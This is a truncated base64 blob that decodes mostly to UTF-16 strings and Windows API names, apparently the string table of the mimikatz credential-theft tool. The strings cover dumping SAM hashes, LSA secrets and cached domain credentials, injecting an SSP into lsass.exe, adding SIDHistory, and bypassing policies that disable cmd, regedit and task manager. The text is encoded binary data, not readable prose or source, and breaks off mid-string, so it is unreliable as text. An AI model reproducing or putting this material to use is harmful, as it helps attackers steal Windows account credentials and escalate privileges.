ZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAAAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAAJQB4AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAAAAAACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAABTAHkAcwBLAGUAeQAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAAAAAABTAEEATQBcAEQAbwBtAGEAaQBuAHMAXABBAGMAYwBvAHUAbgB0AAAAVQBzAGUAcgBzAAAAAAAAAE4AYQBtAGUAcwAAAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVgAAAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAIABLAE8ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AVABMAE0AAAAAAAAAAABMAE0AIAAgAAAAAAAAAAAAJQBzACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAQQBSAEMANAAAAAAAAAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AEEAUgBDADQAIABLAE8AAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAFAAbwBsAGkAYwB5AAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAAAAAAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAAAAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAAAACgBTAGUAYwByAGUAdAAgACAAOgAgACUAcwAAAAAAAABfAFMAQwBfAAAAAAAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAAAAAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAAAAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAAAAAAEMAYQBjAGgAZQAAAAAAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAAAAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAAAAAAKgAgAEkAdABlAHIAYQB0AGkAbwBuACAAaQBzACAAcwBlAHQAIAB0AG8AIABkAGUAZgBhAHUAbAB0ACAAKAAxADAAMgA0ADAAKQAKAAAAAABOAEwAJABDAG8AbgB0AHIAbwBsAAAAAAAKAFsAJQBzACAALQAgAAAAXQAKAFIASQBEACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAAAAAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGUAYwByAHkAcAB0AFMAZQBjAHIAZQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABTAGUAYwByAGUAdAAgAHYAYQBsAHUAZQAgAEsATwAKAAAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAAAAAATgBUAEwATQA6AAAALwAAAHQAZQB4AHQAOgAgACUAdwBaAAAAAAAAAGgAZQB4ACAAOgAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAU2FtSUNvbm5lY3QAAAAAAFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAAAAAABTYW1JRnJlZV9TQU1QUl9VU0VSX0lORk9fQlVGRkVSAExzYUlRdWVyeUluZm9ybWF0aW9uUG9saWN5VHJ1c3RlZAAAAAAAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAAAAAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAAAAAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGkAbgBqAGUAYwB0AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAB1AG4AawBuAG8AdwBuAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAAAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAAJQBzAAoAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAAAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbgBnAAAAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAaQBuAGcAAAAAAAAAYQBkAF8AaABvAGMAXwBuAGUAdAB3AG8AcgBrAF8AZgBvAHIAbQBlAGQAAAAAAAAAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAAAAAAAAcwBrAGUAbABlAHQAbwBuAAAAAAAAAAAAbQBlAG0AcwBzAHAAAAAAAGEAZABkAHMAaQBkAAAAAAB3AGkAZgBpAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAGQAZQB0AG8AdQByAHMAAAAAAAAAAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAAAAAAB0AGEAcwBrAG0AZwByAAAAAAAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAAAAAAGMAbQBkAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAAAAAAAAbQBpAHMAYwAAAAAAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAAAAAAFdsYW5HZXRQcm9maWxlTGlzdAAAAAAAAFdsYW5HZXRQcm9maWxlAABXbGFuRnJlZU1lbW9yeQAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAAAAAAAAlAC0AMwAyAFMAAAAAAAAAIwAgACUAdQAAAAAAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAAAAgAC8AIAAlAHMAIAAtACAAJQBzAAoAAAAJAHwAIAAlAHMACgAAAAAAbgB0AGQAcwAAAAAAAAAAAG4AdABkAHMAYQBpAC4AZABsAGwAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoAGIAYQBjAGsAdQBwACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMAZQBhAHIAYwBoACAAJQB1ACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcAByAG8AdABlAGMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEkARABIAGkAcwB0AG8AcgB5ACAAZgBvAHIAIAAnACUAcwAnAAoAAAAAAAAAAAAgACoAIAAlAHMACQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABEAHMAQQBkAGQAUwBpAGQASABpAHMAdABvAHIAeQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACEACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABEAHMAQgBpAG4AZAA6ACAAJQAwADgAeAAgACgAJQB1ACkAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABPAFMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKABvAG4AbAB5ACAAdwAyAGsAOAByADIAIAAmACAAdwAyAGsAMQAyAHIAMgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABJAHQAIAByAGUAcQB1AGkAcgBlAHMAIABhAHQAIABsAGUAYQBzAHQAIAAyACAAYQByAGcAcwAKAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAY